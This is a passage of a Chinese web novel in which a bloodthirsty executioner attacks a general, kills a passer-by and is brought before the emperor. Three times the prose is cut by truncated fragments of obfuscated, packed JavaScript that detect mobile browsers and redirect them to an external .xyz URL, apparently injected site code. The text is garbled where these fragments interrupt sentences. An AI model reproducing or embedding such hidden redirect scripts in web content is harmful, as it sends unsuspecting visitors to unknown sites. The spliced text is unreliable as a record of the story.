一群人所说的话与傅水伤早先听到的基本一致,她便没有再听,转而坐在记录证言的人身边,跟她借了纸笔。 她抬头盯着叶边舟,仔细记住了她的面容,低头要落笔时却忽然停住,手微微颤抖起来。 笔尖怎么也落不到纸面上,傅水伤便闭上双眼,深吸了口气,再次抬头去看。待确定自己记住了她的相貌,重又低头尝试。 手却又一次颤抖起来。 她竟是无论如何也记不住叶边舟的长相,更无法将之画出。哪怕上一刻才刚刚看过。 傅水伤不信邪,还要继续尝试。抬头时叶边舟却忽然看了过来,与她目光相接。 “你在画我?”叶边舟冲她微微颔首,“我允许你画。” 傅水伤就在心里轻哼了一声。 真可笑,她画不画哪里需要叶边舟允许。她想画就画,即使叶边舟使了些奇怪戏法来阻拦,她也一定能画出来。 想着便又一次低头落笔,极其顺利地把人画了下来。 手下的人像栩栩如生,一双冷冽的眼眸仿佛能穿透纸面,令人心悸。傅水伤本该好好欣赏一番自己出神入化的手笔,然而她很有自知之明,知道以自己的画技,绝不可能画出这样好的画来。 她便沉默着看了好久,又抬起头来看着叶边舟,手不知不觉地放在了腰间。 这一次她终于摸到了她的刀柄。 她无法理解这状况,便难免不安。而她能想到的消除不安的唯一方式,就是消除掉给她带来不安的人。 危险的东西应当被及时扼杀。 “你画得可真好!”旁边记录证言的少年忽地小声惊叹,“能教教我吗?” “我平日里还要给逃犯画像,丘大人老是说我画得不好,要我重画。” 傅水伤被惊醒,却没空去理她。她抬头看向叶边舟,眉头紧皱,“为什么?” 想了下便猜测,“是催眠之术?” “催眠?”叶边舟知道她为何发问,却依旧显得极为茫然。她回头去问文武成,“那是什么?” 坐在后面的文武成抬头回答:“是凡人间的东西,和我们的迷魂术差不多。用些手段把人催眠,就能让被催眠的人产生各种异状,譬如说幻觉啊、失忆啊、手脚不听使唤啊之类的。听说厉害一些的只要与人对视就能将人催眠,也不知是真是假。” 症状都对上了,这人还又如此熟悉催眠之术,傅水伤便放下心来。 她知道催眠之术效果有限,能做到现在的程度已是极致,不可能对她造成什么伤害。而她也已在心中有了确定,即使叶边舟说“并非催眠,而是禁制”,她也并没有在意。 这两个人倒也还有些手段,换了别人恐怕真要被她们骗了去。 既已弄清了一切,傅水伤便有了心情去和身边少年说话。她道:“京都收徒的画师不少,阿阳你随便找一个拜师去不就好了?” “她们要收好多银子,我付不起。”这叫阿阳的少年摸了把怀里空瘪的钱袋,有些苦恼。 “让丘大人给你付钱呗,”傅水伤理所应当地说,“上次我去彻河郡进修刀法,也是丘大人付的银子。” 阿阳有些心动,但她没有傅水伤这样厚的脸皮,还是摇了摇头,“不好吧,丘大人也不是很有钱……” “学成归来不还是为她做事?花她些银子有什么不好意思的。”傅水伤很不解,反正她一向是能从丘执玉那里拿多少就拿多少的,从来没客气过。 “唔……”阿阳咬着笔杆子纠结,忽地发现证人还在说着话,而她居然忘了记录,便急急忙忙地抓过纸来继续奋笔疾书。 傅水伤便笑了一下,亦低头去看自己刚刚画出来的那幅画。她又看了许久,才将画纸拿起来折了两下,收进了怀里。 抬头去看叶边舟,只见她一边听着证言,一边翻看着之前的记录。而她身后的文武成先是静静听着,很快往后一倒,靠在椅背上望着屋顶,最后又挪到叶边舟身边,趴在她背上。 “师姐——”她已枯坐了好久,终于无聊到完全难以忍受的地步,便想和叶边舟说说话。 但叶边舟连眼皮都不曾抬一下,好像文武成根本不存在一般。 文武成就轻哼一声,站起来道:“我出去玩了,晚上回来!” 说完她轻轻一跃,一下便到了屋外。随后又跳到前面房顶上,似飞鸟一般,在树梢瓦片中失去了踪迹。 叶边舟依旧未曾抬眼。傅水伤却是惊叹不已,“她年纪不大吧?轻功竟这样好!” 真是令人羡慕。她要是有这样好的轻功,说不准在宫里把皇帝杀了都能成功逃命! 傅水伤本是自言自语,声音也不大,却不想叶边舟竟再次看了过来,接话道:“阿成年方十五,确实还小。” 随后她又问:“轻功是什么?” 傅水伤翻了个白眼,并不想理她这懂装不懂的问话。 她甚至都能猜到自己解释之后叶边舟会说什么了:“这可不是你们凡人的轻功,这是我们神仙的御剑飞行!” 她可没兴趣配合叶边舟演戏。 而叶边舟对凡人间的武学确实是一无所知,了解这些的文武成不在,傅水伤更是懒得为她解答。 无人理会她,她也好似并不尴尬,只轻微摇头,又道:“那不是轻功,是御气飞行。” 傅水伤继续翻白眼。 这两人分明都身怀绝技,绝不是普通的江湖骗子。 尤其是文武成,那轻功绝对是她一生所见之人中最好的,而她也不过才十五岁而已。 自己十五岁的时候,怕是连刀都举不起来…… 她方才想着,忽便察觉到周边都安静下来,堂下证人不再说话,身边阿阳停下了笔。两人都略带惊慌地看向她,阿阳更是轻轻地握住了她的手。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972292|161335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “水伤?你怎么了?” 她便知道自己是出了问题,略一检查就意识到自己身上刹那间涌出了无尽的杀气。那杀气虽没有实质,却足以令人不安,便都看向了杀气的来源。 只有叶边舟依旧看着手中的记录,似乎并未察觉,甚至还略微抬眼看向堂下,道:“继续。” 另一只手却已经按住了剑柄。 傅水伤亦同她一般紧握着刀柄。她感到有人握着她的手,便想拔刀将碍着她行动的人杀了;有人在堂下说话,听不清,但教她格外心烦,应当砍一刀让那人闭嘴;还有个人静静坐在那里,看都没有看她—— 呵,另两人都看着她,这人竟敢无视她。真是该死! 傅水伤猛然站了起来。 “水伤!”阿阳手被甩开,也跟着起身,焦急道,“你要去做什么?等丘大人回来再走好么?” “我尿急,等不了。”傅水伤随口敷衍。她用力紧握着大刀,不知道自己还能清醒多久,便不敢多说,大步朝外走去。 她匆匆忙忙地走出明镜府,转身向西。显然她急着要赶往某个地方,甚至用上了她那勉强比跑步快一些的、极差的轻功。 终于她在彻底失控前到了长宁街,找了个人多的地方爬上屋顶,抱着她的大刀往上一坐。 这是京都最西面靠近京郊的地方,常年有未得到通行令而偷潜入京都的人聚集于此,治安松懈、鱼龙混杂。 适合杀人。 傅水伤也确实曾在这里杀过人。第一次是途经之时反杀了几个欲杀人劫财的匪徒,后面几次是想杀人了过来碰运气,幸运地真让她“行侠仗义”了几次。更爽的是杀完人回家,丘执玉还得赏她。 她便又来碰运气了: 前面的商贩正在极力把几文钱的东西卖出几两银子的价格,她骗人骗得专注,没发觉身后有小贼盯上了她的钱箱,已在缓缓伸手过去; 后面一个略有些肥胖的富家少年走在街上,她看起来有几分痴傻,本该护着她的侍卫直接从她怀里拿钱离开,她也还是呆呆地站在原地; 远处有人推开拥挤人群飞奔过来,他应是遭人追赶,一路掀翻不少摊位来为自己做掩护…… 全都罪不至死,她敢下去杀,回去丘执玉就敢杀她。 傅水伤紧握着刀柄,手上已青筋暴起。她用力闭了闭眼,决心睁眼之后看见哪个幸运的有缘人就杀哪个。 反正前面就是京郊,逃跑也简单许多。事实上她有的是保命的方法。别的不说,至少她落草为寇的话,京郊那些匪帮能任她挑选。 只不过不到万不得已,她并不愿意每日四处奔逃躲避追捕。她还是更喜欢练练刀杀杀人随后回家睡大觉的平凡普通的生活,可惜—— 傅水伤睁开眼,恰看见一个身穿盔甲的女人当街纵马而来。她身后背着几只箭,但手上却并没有弓。而她依旧是拔出一只箭来,徒手扔了出去。 “啊——” 箭落在了方才拼命逃跑的人身上,刺穿他的肩胛,将他钉在了地上。 后面那女人停住了马,翻身下来踩在这人背上,冷笑道:“继续跑啊?” “本来想给你个痛快,现在么……”她阴沉沉道,“回去便先把你眼睛挖了,再将你脸皮活剥下来。我的风狼也饿了很久了,一定能把你啃得干干净净……” 她忽然止住了话头,略一抬首,正和头顶上的傅水伤对上视线。 傅水伤对她微微一笑。 5. 赵得真 她觉得自己简直算得上是绝处逢生。听听这人都说了些什么话?挖眼,剥脸皮,喂风狼! 绝对和吴小等人的死脱不了干系。 现在她下去把这人杀了,完全无需逃命。她觉得回去之后不仅丘执玉得夸她,连皇帝都得赏她。 更何况自己一睁眼看见的就是她,可见天意如此,这女人今日阳寿已尽,本就该死。 傅水伤便开开心心地举刀跳了下去,她双手紧握着刀柄,借着向下的冲击,用力砍了过去。 那女人却不闪不避,甚至连神情也没什么变化。她只是把手探向身后,取出一只箭来,箭簇向前一伸。 锋锐的尖端正对着傅水伤的左眼,倘若她继续向前,大刀将眼前人砍成两半的同时,自己也要被这只箭贯穿了脑袋。 若是平时她自然会躲避,但此时她满眼只有这即将被自己砍碎的脑袋,甚至全然未曾注意到离自己眼球愈来愈近的箭锋。 持箭之人皱了皱眉,终于率先躲避。她将脚下踩着的人踢了出去,自己同时翻身滚到一边,站起来看着傅水伤。 她一边佩服傅水伤——箭簇离眼睛的距离与一张纸的厚度无异,这人居然都不曾眨一下眼睛;一边回忆自己是何时跟这人结了仇,竟让她不惜与自己同归于尽。 但她怎么也想不起来,她觉得自己今日分明是第一次见到这人。 傅水伤可不知道她在想些什么,她只知道自己要杀的人居然躲开了她,便挥刀向旁一步,再次砍了过去。 那人也只好用手中的一支箭作为武器,与傅水伤缠斗在一起。 “你是明镜府的人?”女人虽想不起来她是谁,却认出她身上穿着的是丘执玉的衣服,“我与你有什么仇怨?” “无仇无怨。”傅水伤一副正义凛然的样子,“你也知道我是明镜府的人,你当街害人,我当然要见义勇为。” 听她如此说,女人便以为只是误会一场。看在丘执玉的份上,她耐心解释了一句,“我乃京都卫军大统领赵得真!方才是在追捕叛徒而已。” “你说是叛徒就是叛徒了?你随手指个人说他是叛徒,就能当街杀人?”傅水伤自不会管她是个什么身份在做些什么,她道,“就算是大统领在追捕叛徒,不经明镜府审判就要私自处死了?” “什么时候京都卫军的事还要经过明镜府了?”赵得真微微蹙眉。她怀疑眼前这人与明镜府毫无干系,否则怎会不知军中刑罚皆由雁翎府审度,明镜府无权干涉。 而她余光又恰好看见那叛徒捂着肩头,已准备趁乱逃走。她便没了耐心,踢开傅水伤就要去追,“滚开!自己回去问问丘执玉她管不管得着!” 傅水伤一个只管默默砍头的刽子手,哪里知道这些事到底是该归谁管。但她也无所谓,她只是想杀个人而已。 “当街杀人的事,明镜府自然管的着!” 她见赵得真似要逃走,便提刀追了上去。她已有些难受了,便想着速战速决,招招皆往要害上去。 远处那逃走的叛徒转身进了一个小巷,赵得真已看不见他的人影,便更为着急。可她的身手比傅水伤略差一些,而傅水伤又不要命一般的疯狂,她根本无法脱身。 她便不由怒道:“就算你明镜府管得着——你是个什么东西,也配和我说话?滚回去叫丘执玉来!” “你又是个什么东西?也配和我们丘大人说话?”傅水伤察觉到她功力不如自己,且已在慢慢败落。她便满心愉悦,即使说着狠话,也带着淡淡的笑意。 “你是什么东西我就是什么东西!” “你说的对,咱们一样的东西。”傅水伤依旧愉悦,“所以你只配跟我说话咯。” 她已寻到了赵得真的破绽,一刀将她手中的箭斩断,再一刀斜着砍向她的腰腹。 “受死吧!” 傅水伤方一说完,却有一柄剑飞了过来,打在她的刀背上。大刀只是往旁边一歪,剑却直接折成了两段。 这却已足够赵得真脱离险境。她再次拔出一支箭来,警惕着退后一步。 而飞剑的主人也匆匆赶来,扶着赵得真,“赵大人没事吧?这人谁啊?” 自然有事。 傅水伤很是得意。即使有人横插一脚,也未能从自己手中救出赵得真。她眼中有几滴鲜血飞溅进去,视物模糊,但她分明感觉到自己的大刀深深地砍在了一人的腹部,几乎要将人拦腰斩断。 她眨了眨眼,想让泪水将眼中异物冲刷出去,随后快些回到明镜府去,教丘执玉处理接下来的事。 但她忽地被人碰了下脖子——那人竟能毫无声息地出现在她背后,直到她被人碰了才察觉到。她立刻想要回身把她的大刀砍过去 ,可还未有动作便先眼前一黑,竟是昏迷了过去。 “你又是谁?”扶着赵得真的人再次开口。 眼前是一个约莫二十六、七的女人,她身上穿了一件窄袖黑袍,外面套了件暗红色的无袖长衫。谁都没有看清她是怎么过来的,她们只是眨了下眼,这人便已经站在面前,手中提着昏迷过去的傅水伤。 叶边舟并未理她。她只是扫了赵得真一眼,随后看向她们旁边几乎是被拦腰斩断的男人。 方才那飞来一剑不仅是让傅水伤的大刀歪了几分,甚至还带着傅水伤也向一旁跨了几步。长宁街并不安宁,当街斗殴的事也不少见,因而方才她们打起来时,街上的人也并没有匆忙离去。但人群也知道避开她们,离她们尚有些距离,本不该被她们波及。 只是赵得真躲避之间就不慎离人群近了些,又加上那一剑,便让傅水伤的大刀砍在了路人身上。 赵得真也随之看向一旁,沉默起来。她很快又皱眉看着叶边舟,冷笑道:“这人当街残杀无辜,你难道是来救她的?” “我送她到明镜府。”叶边舟道。 赵得真不信她,“谁又知道你将人带走后会送哪儿去?” “你要如何?” 赵得真:“把人给我!” “嗯。”叶边舟微微点头,但却带着傅水伤跃上房顶,“那你自来抢人就是。” 瞬息之间她便消失不见,周围嘈杂声传来,有人大喊着:“杀人啦!”,那声音尖利无比,刺得人耳朵生疼。 赵得真才发觉方才那女人出现之后,她身边竟是寂静无声,仿佛被隔绝在一层屏障之中。直到此时女人离开,屏障破裂,所有声音霎时闯入。 她又沉默下来,而身边的人却惊叹不已,“……这是什么神仙法术?怎么做到的?” 这人没得到回应,便又看向身旁新鲜的男尸,“……这又该怎么处理?刚才发生什么事了?赵大人?” 赵得真只抬头看着叶边舟离去的方向,把箭收起来,冷哼一声,“去明镜府把丘执玉叫过来,让她自己处理。她手底下人弄出来的事,难道还要让我管?” * 明镜府中,丘执玉坐在床头,看着床上缓缓睁开双眼的傅水伤。而叶边舟坐在窗边,依旧是双手握剑放在膝上的姿势。 “我怎么了?”傅水伤坐起身来,看见丘执 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972293|161335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉略带担忧的眼神,却没感觉到自己有什么不适,反而格外的神清气爽。她回忆了一下,才想起来这全是由于自己刚杀了个人。 杀人真是令人愉快! “你为什么要杀赵将军?”丘执玉见她无碍,便直接问话。 傅水伤只有满心疑惑,“赵将军是谁?” “……你在长宁街上与之打斗了一刻钟、还要杀死的那人。”丘执玉看了她一眼,又道,“她曾向你表明身份。” 说着她微微蹙眉,似乎是觉得傅水伤在明知故问,便有些不悦。 “噢,是她啊。”傅水伤那时候全凭本能行事,入耳的东西皆从另一边耳朵流了出去,没有半点进脑子。但她多少也还有些记忆,想起自己刀下亡魂便高兴起来,笑道,“还是个将军呢?挺厉害呀!” 自己更是厉害,几下就把那将军斩杀了。 “你为什么要杀她?”见她想起,丘执玉便又一次发问。 “我听到她……” “算了,”丘执玉却又忽然打断了她的话,叹气道,“赵将军进宫找陛下告我的状去了,你稍后自己和陛下说去。” “……怎么一天天净会惹事。” “她还活着?”傅水伤悚然一惊,“那我杀的人是谁?” “一个毫无干系的过路人。”丘执玉道。 傅水伤几乎在问话的一刹那就已经探向了腰间。明镜府的牢房固若金汤,她决不能进去等死。 “找你的刀?”她摸了个空,丘执玉却主动从一旁将她的大刀拿起,递给了她,“还是赵将军让人给你送回来的。你看在我的面子上,见到赵将军之后向她道个歉,行吗?” 这态度显然不像是对待一个杀人犯该有的样子,而她也好好躺在床上,并不在地牢。傅水伤便让自己放松下来,接过刀拿在手里,想了下又继续紧张。 “我……我居然杀了一个无辜的路人!”她放下刀,瞬间变脸,颤抖着手紧紧抓住丘执玉的衣袖,“丘大人,我不是有意的!你……我……我、这下该怎么办?” 她瞧见坐在窗边的叶边舟看了她一眼,随后继续看向窗外;而丘执玉神色平静地望着她,目光似是担忧,又像是看穿一切静静地等她表演。 傅水伤也丝毫没觉得尴尬,她还待继续演下去,但丘执玉已不想听她说话,抓着她的手扯下去,道:“那人是逃犯,明镜府早已下了追杀令,任何人带他首级前来,便能得赏银三百两。” “这么好?”傅水伤眼睛一亮。 她竟这样幸运,随手杀个人便恰巧是逃犯。若不是了解丘执玉为人,她简直要怀疑是丘执玉为了保她,临时编造罪名污蔑那死人了。 “你这么惊讶做什么?不是早便知道吗?”丘执玉道,“之前让你帮阿阳整理尚未缉拿归案的逃犯案宗,你那时就该看到了他的画像。” “是见赏金丰厚便记在了心里,今日恰好见到了那人,就起了心思,是吗?”丘执玉猜测着,“先前长宁街上他正在拐带幼童,你怕直接上前去教他狗急跳墙,伤到那孩子,所以情急之下佯装要杀赵将军,借着混乱接近了他,及时将他斩杀,救下了那孩子。对吗?” 傅水伤:“啊?” 丘执玉:“还因此受伤昏迷不醒,若非仙尊及时出手相救,恐怕要被误会于你的赵将军伤到。” “太危险了,”她蹙眉道,“下次切莫如此。” 傅水伤:“呃……” 傅水伤用力点头,“确实如此!丘大人果然了解我!猜得半点儿不错!” 6. 大威宫 “既然我猜得是对的,你记得进宫后就这样与陛下说。”丘执玉深深地看着她,“不要自己添油加醋,更不要随便胡编乱造。知道吗?” 傅水伤连连点头。 “那你准备一下,随我进宫。”丘执玉便起身出去,“我在明镜堂等你。” 待她出门,傅水伤便先向叶边舟道谢。她记得方才丘执玉提了一句,是叶边舟将她带回来的。 “多谢仙尊救我。”傅水伤谢过,立刻就问,“仙尊是否有看到我是怎样昏迷的?” 她隐约记得有人将她打晕。而那人武功高强,显然远胜过自己。她知道自己的功力在京都——甚至在整个东扶,都算是数一数二的,因而她甚少能见到比自己还要强大的人。 显然叶边舟没有这样的实力,也不会是被自己压着打的赵得真。她猜应当是临到最后飞来一剑救了赵得真一命的人。可惜她没能看清那人模样,也不知她究竟是谁。 但总归傅水伤不喜欢有人强于自己。她摸了把自己的大刀,听到叶边舟回答,“是我……” 是她看到傅水伤状况诡异,怕她迷失心智,便先弄晕带了回来。 “算了,仙尊还是别说了。”傅水伤却又急急忙忙打断了她的话。 如若知道了是谁,她恐怕要忍不住想尽办法去杀人了。这样还是不太好,她应当先好好练功超越那人。要是实在就是比不过人家……那再去搞点儿偷袭下药之类的手段也不迟。 她觉得刚杀完人尚且心满意足的自己实在是善良,居然这么为人着想。 一旁叶边舟静静地看着她。傅水伤不让她说,她便真的闭嘴,过了片刻,才又道:“你看起来应当比丘大人年长一些。” “丘大人比我了小六岁,才二十二。”傅水伤点头,不明白她为什么突然说这个。 “我听闻她五年前就已是府司,那时候她年方十七。”叶边舟似是在微微感叹,意味不明,“能坐稳这位置,想必是聪慧至极。” 傅水伤继续点头,口中却道:“不过能坐上府司的职位,也不见得是因为她有多聪明。那时候皇帝刚登基,她自己也才十六,大概因为这原因,就爱重用一些如她一般极其年少的大臣。” 这些年大概是终于明白年轻人不够靠谱,朝中中年人渐多了起来。 “总归应当是比你聪明一些的。”叶边舟依旧是静静地看着她,不知在想些什么,“你对她说谎,她能看出来。” 傅水伤便微笑道:“所以我没有向丘大人说谎啊。” 聪明人自己的猜测,和她有什么关系。 叶边舟便只是微微点头,不再多说。傅水伤能听出她言外之意,但也不觉得有什么威胁。毕竟她“救”了自己,想来是看到了自己的实力。以她那点花架子,理应害怕自己,不敢乱说。 傅水伤想到此处,忽地移到了窗前,毫无预兆地将手中大刀飞出去,擦着叶边舟的耳朵插入窗门,将半面墙都打成碎片。 而叶边舟却只是微微垂眼,把目光从窗外拉回,重又落在傅水伤身上。 这满目茫然之色,显然是并未反应过来。傅水伤心想自己的猜测果然正确,这人的确是只会催眠之术,丝毫不会武。刚才那一刀冲着叶边舟的脑袋而去,刀尖已碰到她的皮肤,才改了方向,但凡有能力做出反应,都不可能如她一般分毫不动。 ——至于强大到预判一切所以冷静至极,这种事傅水伤想都不会想。她自然明白天外有天,自己不可能无敌于世,但能厉害到视那一刀如无物的,除非真的有修仙那回事,否则绝无可能。 她便笑了一下,“我看到有苍蝇。”,说着将大刀捡了回来,刀尖对着叶边舟,“你看。” “……看到了。”叶边舟微微点头。 她确实满目茫然。她实在是疑惑为什么会有凡人敢来试探她的深浅,那刀在她眼里慢得如同小儿学步,以至于她连生气都懒得生。 “既然你已收拾好了,我们便出去。”叶边舟起身,直接就近从碎裂的墙面出去,“丘大人还在等着。” 见她“落荒而逃”,傅水伤更是得意。她又不必进宫,急着出去自然是害怕了想要躲避。 她笑着追上去,忽见前面叶边舟停下脚步,回头一看。 “这里是明镜府,不是傅大人家里。”叶边舟道。 傅水伤:“?” 叶边舟:“你应当要赔偿丘大人不少银子。” 傅水伤:“……” 糟糕!那似乎是丘执玉的卧房! 她也回头看了一眼,心里止不住忐忑。她觉得等下丘执玉看见了,自己肯定要完。 * 而丘执玉尚且一无所知,她与傅水伤一同入宫,叶边舟便留在明镜堂继续翻看卷宗。 上午她才带着傅水伤来过一趟,不过几个时辰,下午便又要带着她来。而且她总有些隐约的预感:以后她还得常来。 丘执玉便叹了口气,回头看傅水伤一眼,在她耳边小声道:“记得别乱说话。” 傅水伤敷衍点头。 两人一同走入大威宫内。这边是皇帝的寝宫,里面也只有皇帝与赵得真二人。 傅水伤没有在附近感受到暗卫的气息,心想这皇帝可真是大胆,她现在要刺架可容易的很。 前面丘执玉已经作势要跪,傅水伤也跟着弯腰。这一次才刚动作,便已被皇帝阻止。 “不是与你说过,不必多礼。”皇帝叫丘执玉起来。而丘执玉显然也只是做了个样子,在她刚开口的一刹那就已站直了。 傅水伤也跟着直起身子,却见那皇帝微抬下巴,轻轻挑眉,对她道:“朕这话可没有对你说。” 傅水伤沉默着扫了她一眼,摸了把空荡荡的腰间,咬牙切齿地跪下了。 呵。要不是现在刚杀过人心情好…… “刚犯下杀人重罪的犯人,丘大人还带来宫里做什么?”赵得真抱胸站在了傅水伤面前,冷笑着开口,“直接推到明镜台下砍了不就是了?” 傅水伤待要说话,丘执玉及时阻止了她。她似乎并不相信傅水伤的嘴,最终还是决定自己去解释,“那人是明镜府的通缉犯,水伤杀他理所应当。” “你们说是通缉犯就是通缉犯了?你们随手指个人说他是通缉犯,就能当街杀人?”赵得真把傅水伤之前的话还给了她,又扫了丘执玉一眼,冷笑道,“哪里就有那么巧的事?她随手杀了个人正好就是通缉犯?丘执玉,不会是你为了救你手下的人,连无辜的死人都要污蔑吧?” 丘执玉微微摇头,“明镜府都有卷宗留存,你可以去看。水伤也并非随手杀人,她本就是冲着那人去的。” 她便将之前对着傅水伤说过的那一通猜测重复了一遍。 赵得真全然不信,“这种鬼话也能骗到你?丘执玉,你脑子不行就快点儿告老还乡吧!她当时是不是真的要杀我,是不是一开始就冲着那死人去,你觉得我看不出来?” “若不是阿澈最后救我,死的早就是我了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原本傅水伤和她各自握着同一支箭的头尾,皆用内力交锋争夺。方才那一刹那,傅水伤趁着她和丘执玉交谈而分神,直接松手卸了所有的力量,便让赵得真一时不查,失了平衡。 “嗤——”傅水伤站了起来,嘲笑出声。 “你他爹的找死?!”赵得真也跳起身来,握着箭就要上前。 砰! 忽地一只茶盏落在地上,摔得粉碎。皇帝手中还拿着它的杯盖。她看起来并没有什么怒气,就好似那茶盏只是不慎脱手。 她将杯盖放在茶托上,叮当一响,所有人便忽觉自己被莫名的东西压迫着,全都安静下来,不言不动。 “怎么不继续?”皇帝扫了她们一眼,先看着赵得真手中的箭,道,“收起来。” 赵得真依言将箭收起,没敢说话。 她又看了丘执玉一眼,招手让她坐在身边,最后才看向傅水伤,“你来说。你为何要杀害赵将军?” 丘执玉闻言便立刻想要说话,但她离傅水伤尚有一段距离,无法抓着傅水伤的肩膀示意她闭嘴。而皇帝更是握住了她的手,先教她闭了嘴。 绝对不能承认想要杀赵得真…… 但傅水伤已经顺着皇帝的话说了下去,“那是因为赵将军正是宫外吴小和宫中数起命案的凶手!她……” 皇帝却又在此时微微抬手,叫她安静,随后看着她挺拔的身影轻轻挑眉,神情温和,开口道: “跪着说。” 傅水伤:“……” 7. 借宿 她再一次咬牙切齿地跪下了。方才碎掉的茶盏正在她眼前,她便悄无声息地藏了一片在手心。 虽说她不懂暗器,但以她的腕力,丢出去足够割断皇帝的喉咙…… 可惜她现在极为清醒,暂且做不出这种两败俱伤的事。 “……赵将军在长宁街意图当众杀人,还曾威胁那人说,要先挖去他的双眼、再活剥他的脸皮,最后将他的尸首喂给风狼。”心里盘算的事并不碍着她嘴上的话。傅水伤相信说到此处,皇帝和丘执玉都应有所怀疑。 “那又如何?”赵得真神色疑惑,“我吓他几句罢了……就算真那么做了,我对待叛徒一向如此,又有什么问题?” “那赵将军家中有养风狼了?”傅水伤问她。 赵得真点头,“我先前去红溪谷,带了一只回来。怎么?我养个风狼又犯了什么法?” “赵将军何时从红溪谷回到的京都?” “初一。” 那正是宫中第一个遇害的侍卫死亡的日子。 傅水伤得意道:“陛下,自她从红溪谷回来之后,京都才开始有了这些怪事。她家中养着风狼,又说出那些话——恐怕是做惯了不假思索就说出来吓唬人了吧!” 不过恰好教她给听见了。 赵得真还是一副状况之外的模样,她蹙眉看了看傅水伤,抬头去问皇帝,“陛下,京都发生了什么怪事?” 皇帝先松开了丘执玉的手,又用食指轻轻敲了敲桌面,不答反问:“得真,你说你对叛徒‘一向如此’——你从前也先挖去他们的双眼,剥去他们的脸皮,最后将他们喂给风狼么?” “……自然没有。”赵得真对着她便严肃起来,如实作答,“从前现在都没有。我的意思是我对他们一向如此残忍。” “那在长宁街上,你为何说那些话?” 赵得真道:“随口一说啊。要吓唬人自然怎么可怕怎么来,我又恰好得了一只风狼。” “那未免也太巧合了吧?随口一说竟和那些人的死法一模一样!”傅水伤开口,“我可不信有这样巧合的事!” “难道比你茫茫人海中随手杀了个人就恰好是该死的通缉犯还要巧合?”赵得真先回了句嘴,才又满脸疑惑地去问,“陛下,究竟怎么了?” 皇帝再次轻敲桌面,依旧未曾回答。沉默片刻才道:“你若不知是何事,稍后留下来朕告诉你。” 随后又看向丘执玉,道:“你去查。” 丘执玉毫不犹豫地推拒,“赵将军的事应由雁翎府……” “朕让你查。”皇帝打断了她的话,静静地看着她。 她便只好点头,“……好吧。” “都下去。”待她同意,皇帝便出口赶人,却又对赵得真道,“得真过来。” 那两人先行离去,丘执玉也起身去扶傅水伤起来,拉着她的手匆匆离开。 她好似很是着急,步子迈得都比平时大了不少,边走边不满地数落,“不是与你说了不要胡言乱语……” “我没有胡言乱语啊。”傅水伤道,“丘大人,我说的话句句属实。” 丘执玉回头看了她一眼,目带幽怨,“在明镜府时,你不是说你只是要杀那通缉犯,不得已才利用了赵将军吗?” 傅水伤心道那分明是你说的,嘴上只是胡诌,“啊,本来是的。可动手时听到赵将军那些话,我就改了主意,决定顺便也将她除掉。” “宫中怪事必定有她参与。那些人死得蹊跷不说,陛下肯定早已经加强守卫,可侍卫还是能悄无声息地死在大威宫外——那可是陛下的寝宫。这样赤裸裸地威胁,要我说,现在死的是侍卫,说不准哪天时机到了,死得就是……” 傅水伤噤了声,让丘执玉自己去想,随后义正辞严地拍了拍胸脯,“我对陛下忠心耿耿,联想到这种事怎么能冷静?当场就想为陛下除去威胁,一时冲动也未能多想,所以……” 丘执玉突然停了下来。她原本握着傅水伤的手腕,现在便抓着她的手翻过来,让她手心朝上,掰开她紧握的拳头,取出一枚碎瓷片来。 “这是什么?”瓷片割破傅水伤的掌心,血顺着流到手腕上,沾了一些在丘执玉的手上。她皱眉问,“你拿着这个做什么?” 用来以备自己突然忍不住要杀皇帝的不时之需。 傅水伤当然不敢说实话。她沉默了好一会儿,硬着头皮勉强道:“……这不是什么大事,我们接着说方才的事。我对陛下忠心耿耿……呃……” 她突然说不下去了。她看着被扔在地上的碎瓷片,只觉自己继续说下去的话要遭天打雷劈。 好在丘执玉开了口,“你太冲动了,只是几句话而已,并无证据。陛下和赵将军关系匪浅,对她十分信任。往常有不少像你这般妄图伤害赵将军的人,全都先被陛下杀死了。” 丘执玉好似有些说不出的紧张。她往四周看了看,才小声道:“已经走到了这里……陛下应是看在我的份上,放过你了。你别害怕。” 傅水伤全然没有丝毫的恐惧,从大威宫出来直到此处,根本没人跟着,也完全没有什么埋伏。她能感觉出来这一路上安全无比,压根儿没人要杀她。 不过丘执玉说得对。她确实没有证据。而赵得真在大威宫里也能带着弓箭、甚至能直接动手,也就知道皇帝有多信任她了。 “但陛下都叫你去查她了,应当也是有所怀疑?”傅水伤道。 丘执玉却只是摇头,“不可能是赵将军所为,陛下也不会怀疑她。我说了,她和陛下关系匪浅,现在只怕已将自己所知的一切事无巨细告知陛下了。叫我去查只是因为你要杀赵将军,教陛下生了气,连累到我,故意折腾我。” “本来这会儿我也该留在宫里,听她们说的。”她再次幽怨地看了傅水伤一眼,“都怪你。” “那我们还要不要查?”傅水伤其实并不相信皇帝能和一个臣子亲密无间,但丘执玉与皇帝年少相识,自是了解皇帝。她这样笃定,那么或许那句话当真只是巧合,就像她随手杀的恰是通缉犯一样的巧合。 